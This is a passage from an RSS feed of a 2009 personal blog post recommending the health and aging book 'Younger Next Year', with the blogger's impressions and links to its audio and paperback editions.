<p>Both men and women can become functionally younger every year for the next five to ten years, then continue to live with newfound vitality and pleasure deep into our 80s and beyond.</p></blockquote>
<p style="clear: both">It seems as you grow older staying healthy and at a reasonable weight (notice I didn&#8217;t say ideal weight) gets more and more difficult. Gone are the days when I could eat absolutely anything, do nothing and feel healthy with no weight gain. This book really brings this problem into focus in a way that leaves you more educated on exactly what is happening in your body as you get older.</p>
<p style="clear: both">While this book speaks to men 50 and older specifically, it&#8217;s obvious that the advice given is good for men and women of any age. I&#8217;m only about 25% through the book but I&#8217;m finding it very inspirational. If you&#8217;re looking for something to give you a good kick in the pants where your health and fitness is concerned, this might be just the ticket.</p>
<p style="clear: both">If you&#8217;re interested, click on one of the links below. In both cases you can find reader reviews and get even more information.</p>
<p style="clear: both"><em>Younger Next Year</em>, <a href="http://www.audible.com/adbl/site/products/ProductDetail.jsp?productID=BK_HIGH_000191&amp;BV_UseBVCookie=Yes" target="_blank">Audio Version</a></p>
<p style="clear: both"><em>Younger Next Year</em>, <a href="http://www.amazon.com/Younger-Next-Year-Strong-SexyUntil/dp/076114773X/jusanoday08-20" target="_blank">Paperback Version</a></p>
<p>Now get off that couch and do something!</p>
<p><br class="final-break" style="clear: both" /></p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://tomchak.com/blog/2009/07/05/15330-days-old-and-counting/" /></p>]]></content:encoded>
			<wfw:commentRss>http://tomchak.com/blog/2009/07/05/15330-days-old-and-counting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
